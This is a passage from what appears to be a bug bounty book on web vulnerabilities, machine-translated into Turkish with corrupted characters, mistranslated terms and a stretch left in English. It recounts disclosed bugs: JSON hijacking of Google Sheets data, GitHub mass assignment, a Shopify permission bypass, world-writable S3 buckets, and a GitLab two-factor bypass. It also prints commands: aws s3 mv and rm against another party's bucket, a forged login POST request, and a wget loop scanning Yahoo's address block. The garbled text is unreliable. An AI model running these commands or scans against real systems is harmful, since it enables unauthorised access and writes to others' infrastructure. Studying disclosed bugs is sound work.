7 https://developers.google.com/chart/�nteract�ve/docs/dev/�mplement�ng_data_source#json-response-format
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varsayılan değer şudur google.v�sual�zat�on.Query.setResponse . Yan�, bunları akılda tutarak,
3. satırdak� komut dosyası, anon�m b�r �şlev tanımlamamız gereken nesneler� oluşturmaya başlar
Javascr�pt nesnes� �le ver�ler�m�z� aldığımızda setResponse �ç�n çağrılacak
Google'dan.

Böylece, 8. satırda, google nesnes�ndek� yanıtı, yanıtın JSON değer�ne ayarlıyoruz .
Nesne bas�tçe geçerl� JSON �çerd�ğ�nden, bu sorunsuz çalışır. İşte
yayıldıktan sonra örnek b�r cevap (y�ne Rodney'�n �zn�yle):

{
"vers�yon": "0.6",

"reqId": "0",

"status": "tamam",
"s�g": "405162961",

"masa": {

"cols": [
{

"İd": "A",

"label": "Hesap # 12345",

...

Ş�md�, bu noktada, zek� okuyucular Cross Or�g�n'e ne olduğunu merak etm�ş olab�l�rler.
Kaynak Paylaşımı korumaları? Komut dosyanız Google’ın yanıtına nasıl er�şeb�l�r?
ve kullan? Pek�, Google �çeren b�r Javascr�pt nesnes� döndürdüğü �ç�n çıkıyor
B�r JSON d�z�s� ve bu nesne anon�m değ�l (yan�, varsayılan değer
setResponse), tarayıcı bunu geçerl� Javascr�pt olarak değerlend�r�r ve böylece saldırganların okumasını sağlar
ve kullan. Meşru b�r senaryoyu uzak b�r s�teden kend� başınıza eklemey� düşünün
HTML, aynı f�k�r. Senaryo sadece b�r JSON nesnes� �çer�yor olsaydı, olmazdı
geçerl� Javascr�pt ve er�şemed�k.

Kısa sürede, bu güvenl�k açığı b�r süred�r JSON olarak b�l�nen
uçak kaçırma, gasp, hırsızlık. Bunu kullanmak, anon�m Javascr�pt nesneler� �ç�n de mümkündü.
Javascr�pt Object.prototype öğes�n� geçers�z kılarak. def�neSetter yöntem�, ancak bu
Chrome 27, F�refox 21 ve IE 10.

Kötü n�yetl� sayfamız yüklend�ğ�nde Rodney'�n örneğ�ne ger� dönersek , onload olayı
25 satırındak� body et�ket�m�z�n �şley�c�s� , satır 18'den kaçak �şlev�n� gerçekleşt�r�r.
B�z textarea elemanı olsun kargo hattının 27. formda ve b�z�m yayılmasına metn� ayarlamak
sac cevabı. Formu Rodney'n�n web s�tes�ne gönder�yoruz ve başarıyla çaldık

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developers.google.com/chart/interactive/docs/dev/implementing_data_source%23json-response-format#json-response-format
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://developers.google.com/chart/interactive/docs/dev/implementing_data_source%23json-response-format#json-response-format


ver�.

İlg�nç b�r şek�lde, Rodney'�n Google �le olan etk�leş�m�ne göre, bunu değ�şt�rmek b�r
API'n�n kend�s�nde bas�t düzeltme ve gerekl� değ�ş�kl�kler. Sonuç olarak, Ek�m ayında rapor ederken
29, 2015, bu 15 Eylül 2016'ya kadar çözülmed�.
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çıkarımlar

Burada b�rkaç paket serv�s var. İlk olarak, OAuth güvenl�k açıkları her zaman �lg�l� değ�ld�r
bel�rteçler� çalmak. OAuth tarafından korunan API �stekler�ne d�kkat ed�n.
bel�rtec� gönderm�yor veya doğrulamıyor (ör. OAuth bel�rteç başlığını kaldırmayı deney�n
b�r tanımlayıcı varsa, URL'dek� sayfa k�ml�ğ� g�b�). İk�nc�s�, bu öneml�
Tarayıcıların Javascr�pt ve JSON'u nasıl yorumladığını anlamak ve anlamak. Bu
güvenl�k açığı, Google’ın geçerl� b�r şek�lde döndüğü �ç�n kısmen mümkün
SetResponse aracılığıyla er�ş�leb�l�r JSON �çeren Javascr�pt nesnes�. Olsaydı
anon�m b�r Javascr�pt d�z�s�, mümkün olmazdı. Son olarak, �ken
K�taptak� ortak b�r tema �se, belgeler� okuyun. Google’ın dokümantasyonu
Yanıtlar hakkında, gönder�len ve çalışan b�r kavram kanıtı gel�şt�rmen�n anahtarı oldu.
elektron�k tablo ver�ler�n� uzaktak� b�r sunucuya

özet

OAuth, �lk olduğunuzda başınızı etrafa sarmak �ç�n karmaşık b�r �şlem olab�l�r
ya da en azından ben�m �ç�n ve konuştuğum ve öğrend�ğ�m b�lg�sayar korsanlarıydı.
Bununla b�rl�kte, b�r kez anladığınızda, ver�len güvenl�k açıkları �ç�n çok fazla potans�yel vardır.
bu karmaşıklık. B�r şeyler� test ederken, g�b� yaratıcı çözümler aramaya devam ed�n
Ph�l�ppe üçüncü part� uygulamaları devralmakta ve Prakhar g�b� etk� alanı sonekler�n� kötüye kullanmaktadır.
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20. Uygulama Mantığı Güvenl�k Açıkları

Açıklama

Uygulama mantığı güvenl�k açıkları, tartıştığımız d�ğer türlerden farklı
ş�md�ye kadar. Oysa, HTML Enjeks�yonu, HTML Parametre K�rl�l�ğ�, XSS vb.
b�r tür potans�yel olarak zararlı g�rd�, uygulama mantığı güvenl�k açığı göndermek
gerçekten web uygulaması kodlama senaryoları man�püle ve hataların �st�smar �çer�r
gel�şme kararları.

Bu tür saldırıların kayda değer b�r örneğ� Egor Homakov tarafından G�tHub'a karşı çıkarıldı
Ruby on Ra�ls kullanıyor. Ra�ls'e aş�na değ�lsen�z, çok popüler b�r web
B�r web s�tes� gel�şt�r�rken ağır yükler�n çoğunu sağlayan çerçeve.

Mart 2012'de, Egor, Ra�ls Topluluğu �ç�n varsayılan olarak Ra�ls'�n kabul edeceğ�n� �şaret ett�.
kend�s�ne gönder�len tüm parametreler ve bu değerler� ver�tabanı kayıtlarının güncellenmes�nde kullanmak
(gel�şt�r�c�ler�n uygulamasına bağlı olarak). Ra�ls'�n çek�rdek gel�şt�r�c�ler� tarafından yapılan düşünce
Ra�ls kullanan web gel�şt�r�c�ler� bu güvenl�ğ� kapatmaktan sorumlu olmalıydı.
boşluk ve kayıtların güncellenmes� �ç�n b�r kullanıcı tarafından hang� değerler�n gönder�leceğ�n�n tanımlanması. Bu
davranış topluluk �ç�nde zaten �y� b�l�n�yordu ancak G�tHub’dak� konu
Bu r�sk ne kadar az takd�r ederse, https://g�thub.com/ra�ls/ra�ls/�ssues/5228 1 'e neden olmuştur .

Çek�rdek gel�şt�r�c�ler onunla aynı f�k�rde olmadığında, Egor b�r k�ml�k doğrulama �şlem�nden yararlanmaya devam ett�.
�çerd�ğ� parametre değerler�n� tahm�n ed�p göndererek G�tHub'tak� güvenl�k açığı
Oluşturma tar�h� (Ra�ls �le çalıştıysanız ve bunların çoğunu b�l�yorsanız aşırı zor olmaz)
kayıtları ver�tabanında oluşturulan ve güncellenm�ş b�r sütun �çer�r). Sonuç olarak, o b�r yarattı
G�tHub'a b�let, gelecektek� tar�hlerle b�rl�kte. Ayrıca SSH er�ş�m�n� güncellemey� başardı
Resm� G�tHub kod deposuna er�şmes�ne �z�n veren anahtarlar.

Bahsed�ld�ğ� g�b�, kes�lmeyen arka uç G�tHub koduyla hack sağlandı.
Egor'un ne yaptığını, yan� �zn�n�n olmaması gerekt�ğ�n� doğrulayarak doğrulayın.
Oluşturma tar�h� �ç�n değerler� göndermek, ardından ver�tabanını güncellemek �ç�n kullanılır.
kayıtları. Bu durumda, Egor toplu atama güvenl�k açığı olarak adlandırılan şey� buldu.

Uygulama mantığı güvenl�k açıkları, öncek� türlerle karşılaştırıldığında b�raz daha zor
Saldırılar tartışıldı çünkü kodlama kararları hakkında yaratıcı düşünmeye güven�yorlar ve
sadece gel�şt�r�c�ler�n kaçmadığı potans�yel olarak zararlı kodları gönderme meseles� değ�l
(buradak� d�ğer güvenl�k açığı türler�n� en aza �nd�rmeye çalışmıyor, bazı XSS   saldırıları dışında
Karmaşık!).

1 https://g�thub.com/ra�ls/ra�ls/�ssues/5228

Sayfa 182

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://github.com/rails/rails/issues/5228
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://github.com/rails/rails/issues/5228


Uygulama Mantığı Güvenl�k Açıkları 170

G�tHub örneğ�yle, Egor s�stem�n Ra�ls'e ve nasıl yapıldığına dayandığını b�l�yordu.
Raylar kulplu kullanıcı g�r�ş�. D�ğer örneklerde, doğrudan API çağrıları yapmakla �lg�l� olab�l�r.
Shop�fy's �le görüldüğü g�b� b�r web s�tes�n� destekleyen davranışı test etmek �ç�n programlı olarak
Aşağıdak� Yönet�c� Ayrıcalığı Bypass'ı seç�n. Veya, ger� gönder�len değerler� yen�den kullanma meseles�d�r.
�z�n vermemes� gereken sonrak� API çağrıları yapmak �ç�n k�ml�ğ� doğrulanmış API çağrıları
yapmak.

Örnekler

1. Shop�fy Yönet�c� Ayrıcalığı Bypass

Zorluk : Düşük

URL : shop.myshop�fy.com/adm�n/mob�le_dev�ces.json

Rapor Bağlantısı : https://hackerone.com/reports/1009382

Rapor Tar�h� : 22 Kasım 2015

Ödemel� Ödül : 500 Dolar

Tanım :

Shop�fy, hem kullanıcı arayüzüne bakan hem de web sayfasını �çeren büyük ve sağlam b�r platformdur.
destekley�c� API'ler. Bu örnekte, API, bazı �z�nler� doğrulamadı.
Web kullanıcı arayüzü görünüşte yaptı. Sonuç olarak, �z�n ver�lmeyen yönet�c�ler� saklayın
satış �ç�n e-posta b�ld�r�mler� almak, bu güvenl�k ayarını man�püle ederek atlamak olab�l�r
Apple c�hazlarına b�ld�r�m almak �ç�n API b�t�ş noktası.

Rapora göre, hacker sadece şunları yapmak zorunda kalacak:

• Shop�fy telefon uygulamasına tam er�ş�m hesabı �le g�r�ş yapın.
• İsteğ� POST'a /adm�n/mob�le_dev�ces.json adres�ne durdurma
• Bu hesabın tüm �z�nler�n� kaldırın
• Eklenen mob�l b�ld�r�m� kaldırın
• İsteğ� POST / adm�n/mob�le_dev�ces.json adres�ne tekrarlayın

Bunu yaptıktan sonra, söz konusu kullanıcı, kend�s�ne ver�len tüm s�par�şler �ç�n mob�l b�ld�r�mler alır.
Böylece, mağazanın yapılandırılmış güvenl�k ayarları d�kkate alınmaz.

2 https://hackerone.com/reports/100938
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çıkarımlar

Burada �k� anahtar var. İlk olarak, her şey kod enjekte etmekle �lg�l� değ�ld�r,
HTML vb. Her zaman b�r proxy kullanmayı unutmayın ve hang� b�lg�ler�n bulunduğunu �zley�n.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/100938
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/100938


b�r s�teye geçt� ve ne olduğunu görmek �ç�n onunla oyna. Bu durumda, tüm aldıGüvenl�k kontroller�n� atlamak �ç�n POST parametreler�n�n kaldırılması. İk�nc�s�, y�ne heps� değ�l
saldırılar HTML web sayfalarına dayanmaktadır. API b�t�ş noktaları her zaman potans�yel sunar
güvenl�k açığı bölges� bu yüzden her �k�s�n� de değerlend�rd�ğ�n�zden ve test ett�ğ�n�zden em�n olun.

2. HackerOne S�nyal Man�pülasyonu

Zorluk : Düşük

URL : hackerone.com/reports/XXXXX

Rapor Bağlantısı : https://hackerone.com/reports/1063053

Rapor Tar�h� : 21 Aralık 2015

Ödemel� Ödül : 500 Dolar

Tanım :

2015 yılının sonunda, HackerOne, S�gnal adlı s�teye yen� b�r �şlevsell�k get�rd�.
Temel olarak, b�r Hacker'�n öncek� güvenl�k açığının etk�nl�ğ�n� tesp�t etmeye yardımcı olur
bu raporlar kapatıldıktan sonra raporlar. Burada, kullanıcıların kapanab�leceğ�n� not etmek öneml�d�r.
HackerOne hakkında, raporlarında değ�ş�kl�k yapılmaması gereken kend� raporları
İt�bar ve S�nyal

Yan�, muhtemelen tahm�n edeb�leceğ�n�z g�b�, �şlevsell�ğ� test ederken, b�r hacker keşfett�
Bu �şlevsell�k yanlış b�r şek�lde uygulandı ve b�r hacker'ın oluşturmasına �z�n ver�ld�.
Herhang� b�r ek�be rapor ver�n, raporu kend�n�z kapatın ve b�r S�nyal artışı alın.

Ve heps� oradaydı

çıkarımlar

Kısa b�r açıklama olsa da, buradak� paket serv�s paket�n�n abartılamaması durumunda
yen� �şlevsell�k �ç�n d�kkat! . B�r s�te yen� �şlevler uyguladığında, bu
taze et. Yen� �şlevsell�k, yen� kodu test etme fırsatını tems�l eder ve
böcek aramak. Bu Shop�fy Tw�tter CSRF ve Facebook �ç�n aynıydı
XSS açıkları.

Bundan en �y� şek�lde yararlanmak �ç�n, ş�rketlere kend�n�z� tanıtmak �y� b�r f�k�rd�r
ve ş�rket bloglarına, haber bültenler�ne vb. abone olun, böylece ne zaman haberdar olun
b�r şey serbest bırakıldı. Sonra test et.

3 https://hackerone.com/reports/106305
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3. Shop�fy S3 Kovalar Açık

Zorluk : Orta

URL : cdn.shop�fy.com/assets

Rapor Bağlantısı : https://hackerone.com/reports/98819 4

Rapor Tar�h� : 9 Kasım 2015

Ödemel� Ödül : 1000 Dolar

Tanım :

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/106305
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/106305
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/98819


Amazon Bas�t Depolama, S3, müşter�ler�n dosya saklamalarını ve sunmalarını sağlayan b�r h�zmett�r
Amazon'un bulut sunucularından. Shop�fy ve b�rçok s�te, stat�k depolamak ve h�zmet vermek �ç�n S3 kullanın
görüntüler g�b� �çer�k.

Tüm Amazon Web Serv�sler� paket� AWS çok sağlam ve �z�n �çer�yor
yönet�c�ler�n h�zmet başına �z�nler� tanımlamasını sağlayan yönet�m s�stem�, S3
dah�l. İz�nler, S3 kovaları oluşturma yeteneğ�n� �çer�r (b�r kova, depolama alanı g�b�d�r
klasör), kovalardan oku ve d�ğerler�n�n yanı sıra kovalara yaz.

Açıklamaya göre, Shop�fy S3 kovalarını �z�n ver�len şek�lde düzgün b�r şek�lde yapılandırmadı.
oturumlar ve �stemeden herhang� b�r k�ml�ğ� doğrulanmış AWS kullanıcısının okuma veya yazmalarına �z�n verd�
kovalar. Bu açıkça sorunlu çünkü s�yah şapkaları kötü amaçlı �stem�yorsunuz.
S3 kovalarınızı en azından dosyaları saklamak ve sunmak �ç�n kullanmak �ç�n.

Ne yazık k�, bu b�let�n detayları açıklanmadı, ancak bunun keşfed�lmes� muhtemel.
AWS CLI �le serv�s sağlayıcınızla AWS serv�sler�yle etk�leş�me geçmen�z� sağlayan b�r araç
Komut satırı. Bunu yapmak �ç�n b�r AWS hesabına �ht�yacınız olsa da, b�r tane oluşturmak aslında
Herhang� b�r h�zmet� etk�nleşt�rmen�z gerekmed�ğ�nden ücrets�z. Sonuç olarak, CLI �le
Kend�n�z� AWS �le doğrulayın ve ardından er�ş�m� test ed�n (Bu tam olarak nasıl bulduğumu
HackerOne kovası aşağıda l�stelenm�şt�r).

çıkarımlar

Potans�yel b�r hedef bel�rlerken, tüm farklı araçları not aldığınızdan em�n olun,
Web serv�sler� de dah�l olmak üzere kullanıyorlar. Her serv�s, yazılım, �şlet�m s�stem� vb.
Potans�yel yen� b�r saldırı vektörünü ortaya çıkarır. Ayrıca, bu �y� b�r f�k�r
AWS S3, Zendesk, Ra�ls, vb. popüler web araçlarını tanımak.
b�rçok s�ten�n kullandığı.

4. HackerOne S3 Kovalar Açık

Zorluk : Orta

4 https://hackerone.com/reports/98819
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Url : [REDACTED] .s3.amazonaws.com

Rapor Bağlantısı : https://hackerone.com/reports/1280885

Rapor Tar�h� : 3 N�san 2016

Ödemel� Ödül : 2,500 Dolar

Tanım :

Burada b�raz farklı b�r şey yapacağız. Bu aslında ben�m �ç�n b�r güvenl�k açığı
keşfed�ld� ve yukarıda açıklanan Shop�fy hatadan b�raz farklı, ben de g�d�yorum
Bunu nasıl bulduğumla �lg�l� her şey�, har�ka b�r senaryo ve b�raz ustalık kullanarak paylaşın.

3 N�san hafta sonu boyunca neden�n� b�lm�yorum ama dışarıda düşünmeye karar verd�m.
kutu ve HackerOne saldırı. Başından ber� s�teler�yle oynuyordum ve
B�lg�n�n açığa çıkmasıyla her zaman yen� b�r kırılganlığa kıçımda tekmelemeye devam ett�.
nasıl özled�ğ�m� merak ederek bulundu. S3 kovalarının savunmasız olup olmadığını merak ett�m.
Shop�fy en. Ayrıca hacker'ın düşündüğüm Shop�fy kepçes�ne nasıl er�şt�ğ�n� merak etmeye devam ett�m.
Amazon Komut Satırı Araçlarını kullanıyor olmalıydı.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/98819
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/128088


Ş�md�, normalde HackerOne’un mümkün olmadığını düşünerek kend�m� durdurab�l�rd�m.bunca zamandan sonra savunmasız. Ama benden sıkışıp kalmış b�rçok şeyden b�r�
Ben Sadegh�pour (@Nahamsec) �le röportaj yapmak kend�mden veya yetenekler�nden şüphe duymamaktı
hata yapmak �ç�n b�r ş�rket.

Bu yüzden Google’ı bazı ayrıntılar �ç�n aradım ve �k� �lg�nç sayfa �le karşılaştım:

1.951 Amazon S3 Kovada B�r Del�k Var6

S3 Kepçe Bulucu 7

Bunlardan �lk�, b�r güvenl�k ş�rket� olan Rap�d7'den �lg�nç b�r yazı.
Halka açık S3 kovalarını keşfett�ler ve çıldırtıcı ya da tahm�nde bulundular
kova adı.

İk�nc�s�, kel�me l�stes� alacak ve kovaları arayan S3'ü arayacak havalı b�r araçtır.
Ancak, kend� l�stes�yle gelm�yor. Ancak Rap�d7 makales�nde öneml� b�r satır vardı.
“Fortune 1000 ş�rket�n�n b�r kaç farklı sözlüktek� �s�mler�n� tahm�n etmek
.com, -backup, -med�a üzer�nde permütasyonlu �s�mler

Bu �lg�nçt�. Hızlı b�r şek�lde HackerOne benzer� �ç�n potans�yel b�r kova �s�mler� l�stes� hazırladım.

hackerone, hackerone.market�ng, hackerone.attachments, hackerone.users,
hackerone.f�les, vb.

5 https://hackerone.com/reports/128088
6 https://commun�ty.rap�d7.com/commun�ty/�nfosec/blog/2013/03/27/1951-open-s3-buckets
7 https://d�g�.n�nja/projects/bucket_f�nder.php
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Bunların h�çb�r� gerçek kova değ�l - rapordan çıkardılar, onur duyuyorum
bu sen�n de bulab�leceğ�ne em�n olduğum halde. Bunu b�r meydan okuma �ç�n bırakacağım.

Ş�md�, Ruby bet�ğ�n� kullanarak, kovaları aramaya başladım. Hemen şeyler bakmadı
�y�. B�rkaç kova buldum ama er�ş�m redded�ld�. Şans yok bu yüzden kaçtım ve �zled�m
Netfl�x.

Ama bu f�k�r ben� rahatsız ed�yordu. Bu yüzden yatmadan önce senaryoyu tekrar çalıştırmaya karar verd�m
daha fazla permütasyon �le. Y�ne onlar g�b� görünüyordu b�rkaç kova bulundu
HackerOne olmak ama heps� redded�ld�. Er�ş�m engellend� en azından bana söyled�
kova vardı.

Ben Ruby senaryoyu açtım ve eşdeğer çağırıyordu fark ls fonks�yonu üzer�ne
kovalar Başka b�r dey�şle, onların okunab�l�r olup olmadığını görmeye çalışıyordu - b�lmek �sted�m
Bu VE eğer kamuya açık olarak yazılab�l�rlerse .

Ş�md�, b�r kenara, AWS, b�r komut satırı aracı, aws-cl� sağlar. Bunu b�l�yorum çünkü ben
bunu daha önce kullandım, bu yüzden hızlı b�r sudo apt-get VM'�me aws-cl� kurun ve araçları kullandım. Ayarladım
Onları kend� AWS hesabım �le yukarı ve g�tmeye hazırdı. İç�n tal�matlar bulab�l�rs�n�z.
bu docs.aws.amazon.com/cl�/latest/usergu�de/�nstall�ng.html adres�nde

Ş�md�, aws s3 yardım komutu S3 yardımını açar ve mevcut komutları detaylandırır,
Bunu yazarken 6 g�b� b�r şey. Bunlardan b�r� olan mv şekl�nde aws s3 mv
[DOSYA] [s3: // BUCKET] . Yan� ben�m durumumda dened�m:

test.txt'ye dokunun
aws s3 mv test.txt s3: // hackerone.market�ng

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://digi.ninja/projects/bucket_finder.php
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/128088
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://digi.ninja/projects/bucket_finder.php


Bu, AND �ç�n redded�len �lk kovalamaydı “hamle başarısız oldu: ./test.txt
to s3: //hackerone.market�ng/test.txt Arama yaparken b�r �stemc� hatası (AccessDen�ed) oluştu
PutObject �şlem�: Er�ş�m Engellend�. ”

Bu yüzden b�r sonrak� aws s3 mv test.txt s3: //hackerone.f�les AND BAŞARI! Bende var
“move: ./test.txt - s3: //hackerone.f�les/test.txt” mesajı

İnanılmaz! Ş�md� dosyayı s�lmeye çalıştım: aws s3 rm s3: //hackerone.f�les/test.txt AND
tekrar, başarı!

Ama ş�md� kend�ne şüphe. Hızlıca b�ld�rmek �ç�n HackerOne’a g�r�ş yaptım ve yazdığım g�b�
AWS S3 kepçes�n�n sah�pl�ğ�n� gerçekten onaylayamadığımı fark ett�m
küresel b�r ad alanında herhang� b�r kepçe oluşturun. Anlamı, sen, okuyucu, aslında olab�l�rd�
Korsan olduğum kovaya sah�b�m.

Onaylamadan rapor vermem gerekt�ğ�nden em�n değ�ld�m. Bulab�l�r m�y�m görmek �ç�n Google'ı aradım
kovadak� herhang� b�r referansta h�çb�r şey bulamadım. Tem�zlemek �ç�n b�lg�sayardan uzaklaştım
kafam. En kötü şey olduğunu düşündüm, başka b�r N / A raporu ve -5 rep. D�ğer yandan,
Shop�fy güvenl�k açığına göre bunun en az 500, belk� de 1000 dolar olduğunu düşündüm.

Sayfa 187

Uygulama Mantığı Güvenl�k Açıkları 175

Tesl�m oldum ve yatağa g�tt�m. Uyandığımda HackerOne tebr�k ett�
çoktan düzeltt�kler�n� ve bunu yaparken de b�rkaç başka kova gerçekleşt�rd�kler�n�
Bu savunmasızdı. Başarı! Ve kred�ler�n�, ödül aldıklarında,
Ben bulamadım d�ğer kovalar da dah�l olmak üzere, bunun potans�yel ş�ddet� faktörü
savunmasızdı.

çıkarımlar

Bundan b�rden fazla paket var:

1. Yaratıcılığınızı ve bunun olası hata potans�yel�n� küçümsemey�n.
gel�şt�r�c�ler�. HackerOne, müth�ş güvenl�kten müth�ş b�r ek�p.
Arama yapan. Ancak �nsanlar hata yapar. Varsayımlarınıza meydan okuyun.

2. İlk denemeden sonra pes etmey�n. Bunu bulduğumda, her b�r�ne göz atıyordum.
kova mevcut değ�ld� ve ben de neredeyse uzaklaşıyordum. Ama sonra yazmaya çalıştım
b�r dosya ve çalıştı.

3. Her şey b�lg� �le �lg�l�. Hang� tür güvenl�k açıklarının olduğunu b�l�yorsanız,
ne arayacağımı ve test edeceğ�n� b�l�yorsun. Bu k�tabı satın almak har�ka b�r �lk adımdı.

4. Daha önce söyled�m, tekrar söyleyeceğ�m, b�r saldırı yüzey� daha fazla
web s�tes�, aynı zamanda ş�rket�n kullandığı h�zmetler. At gözlükler�n� çıkar.

5. G�tLab İk� Faktörlü K�ml�k Doğrulamanın Atlanması

Zorluk : Orta

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/1280858

Rapor Tar�h� : 3 N�san 2016

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/128085


Ödemel� Ödül : n / a
Tanım :

3 N�san'da, Jobert Abma (HackerOne'un Kurucu Ortağı) G�tLab'a �k� k�ş�yle
Faktör k�ml�k doğrulaması etk�n, saldırgan b�r kurbanın hesabına olmadan g�r�ş yapab�ld�
Aslında kurbanın ş�fres�n� b�lmek.

B�l�nmeyenler �ç�n �k� faktörlü k�ml�k doğrulama, g�r�ş yapmak �ç�n �k� adımlı b�r �şlemd�r -
genell�kle b�r kullanıcı kullanıcı adı ve ş�fres�n� g�rer ve ardından s�te b�r
Yetk� kodu, genell�kle kullanıcının �şlem� b�t�rmek �ç�n g�rmes� gereken e-posta veya SMS yoluyla
g�r�ş �şlem�.

8 https://hackerone.com/reports/128085
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Bu durumda, Jobert oturum açma sürec�nde, b�r saldırganın kend�s�ne b�r kez g�rd�ğ�n� fark ett�.
kullanıcı adı ve ş�fres�, g�r�ş� sonlandırmak �ç�n b�r bel�rteç gönder�ld�. Gönder�rken
bel�rtec�, POST çağrısı benz�yordu:

POST / users / s�gn_�n HTTP / 1'de . 1

Ev sah�b� : 159 . xxx . xxx . xxx

...

---------- 1881604860

İçer�k Eğ�l�m� : form ver�s� ; name = "user [ otp_attempt ] "

212421

---------- 1881604860--

B�r saldırgan bunu ele geç�r�p aramaya b�r kullanıcı adı ekled�yse, örneğ�n:

POST / users / s�gn_�n HTTP / 1'de . 1
Ev sah�b� : 159 . xxx . xxx . xxx

...

---------- 1881604860

İçer�k Eğ�l�m� : form ver�s� ; name = "user [ otp_attempt ] "

212421

---------- 1881604860

İçer�k Eğ�l�m� : form ver�s� ; name = "kullanıcı [ g�r�ş ] "

John

---------- 1881604860--

Otp_attempt bel�rtec� geçerl�yse saldırgan John'un hesabına g�r�ş yapab�l�rd�
John �ç�n. Başka b�r dey�şle, b�r saldırgan b�r eklenm�şse, �k� aşamalı k�ml�k doğrulama sırasında
user[log�n] parameter, they could change the account they were be�ng logged �nto.

Now, the only caveat here was that the attacker had to have a val�d OTP token for
the v�ct�m. But th�s �s where bruteforc�ng would come �f. If the s�te adm�n�strators d�d
not �mplement rate l�m�t�ng, Jobert may have been able to make repeated calls to the

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/128085


server to guess a val�d token. The l�kel�hood of a successful attack would depend on thetrans�t t�me send�ng the request to the server and the length of t�me a token �s val�d but
regardless, the vulnerab�l�ty here �s pretty apparent.

Page 189

Uygulama Mantığı Güvenl�k Açıkları 177

çıkarımlar

Two factor authent�cat�on �s a tr�cky system to get r�ght. When you not�ce a s�te
�s us�ng �t, you’ll want to fully test out all funct�onal�ty �nclud�ng token l�fet�me,
max�mum number of attempts, reus�ng exp�red tokens, l�kel�hood of guess�ng a
token, etc.

6. Yahoo PHP Info D�sclosure

Zorluk : Orta

Url: http://nc10.n9323.ma�l.ne1.yahoo.com/php�nfo.php

Report L�nk: https://blog.�t-secur�tyguard.com/bugbounty-yahoo-php�nfo-php-d�sclosure-
2/9

Date D�sclosed: October 16, 2014

Ödemel� Ödül : n / a

Tanım :

Wh�le th�s d�dn’t have a huge pay out l�ke some of the other vulnerab�l�t�es I’ve �ncluded (�t
actually pa�d $0 wh�ch �s surpr�s�ng!), th�s �s one of my favor�te reports because �t helped
teach me the �mportance of network scann�ng and automat�on.

In October 2014, Patr�k Fehrenbach (who you should remember from Hack�ng Pro T�ps
Interv�ew #2 - great guy!) found a Yahoo server w�th an access�ble php�nfo() f�le. If you’re
not fam�l�ar w�th php�nfo(), �t’s a sens�t�ve command wh�ch should never be access�ble �n
product�on, let alone be publ�cly ava�lable, as �t d�scloses all k�nds of server �nformat�on.

Now, you may be wonder�ng how Patr�k found http://nc10.n9323.ma�l.ne1.yahoo.com
- I sure was. Turns out he p�nged yahoo.com wh�ch returned 98.138.253.109. Then he
passed that to WHOIS and found out that Yahoo actually owned the follow�ng:

NetRange: 98.136.0.0 - 98.139.255.255

CIDR: 98.136.0.0/14

Or�g�nAS:
NetName: A-YAHOO-US9

NetHandle: NET-98-136-0-0-1

Parent: NET-98-0-0-0-0
NetType: D�rect Allocat�on

RegDate: 2007-12-07

Updated: 2012-03-02
Ref: http://who�s.ar�n.net/rest/net/NET-98-136-0-0-1

9 https://blog.�t-secur�tyguard.com/bugbounty-yahoo-php�nfo-php-d�sclosure-2/

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/
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Not�ce the f�rst l�ne - Yahoo owns a mass�ve block of �p addresses, from 98.136.0.0 -
98.139.255.255, or 98.136.0.0/14 wh�ch �s 260,000 un�que IP adresses. That’s a lot of
potent�al targets.

Patr�k then wrote a s�mple bash scr�pt to look for an ava�lable php�nfo f�le:

#!/b�n/bash
for �pa �n 98.13{6..9}.{0..255}.{0..255}; do

wget -t 1 -T 5 http://${�pa}/php�nfo.php; done &

Runn�ng that, he found that random Yahoo server.

çıkarımlar

When hack�ng, cons�der a company’s ent�re �nfrastructure fa�r game unless they
tell you �t’s out of scope. Wh�le th�s report d�dn’t pay a bounty, I know that Patr�k
has employed s�m�lar techn�ques to f�nd some s�gn�f�cant four f�gure payouts.

Add�t�onally, you’ll not�ce there was 260,000 potent�al addresses here, wh�ch
would have been �mposs�ble to scan manually. When perform�ng th�s type of
test�ng, automat�on �s hugely �mportant and someth�ng that should be em-
ployed.

7. HackerOne Hackt�v�ty Vot�ng

Zorluk : Orta

Url: https://hackerone.com/hackt�v�ty

Report L�nk: https://hackereone.com/reports/13750310

Date Reported: May 10, 2016

Ödemel� Ödül : Swag

Tanım :

Though techn�cally not really a secur�ty vulnerab�l�ty �n th�s case, th�s report �s a great
example of how to th�nk outs�de of the box.

Some t�me �n late Apr�l/early May 2016, HackerOne developed funct�onal�ty for hackers
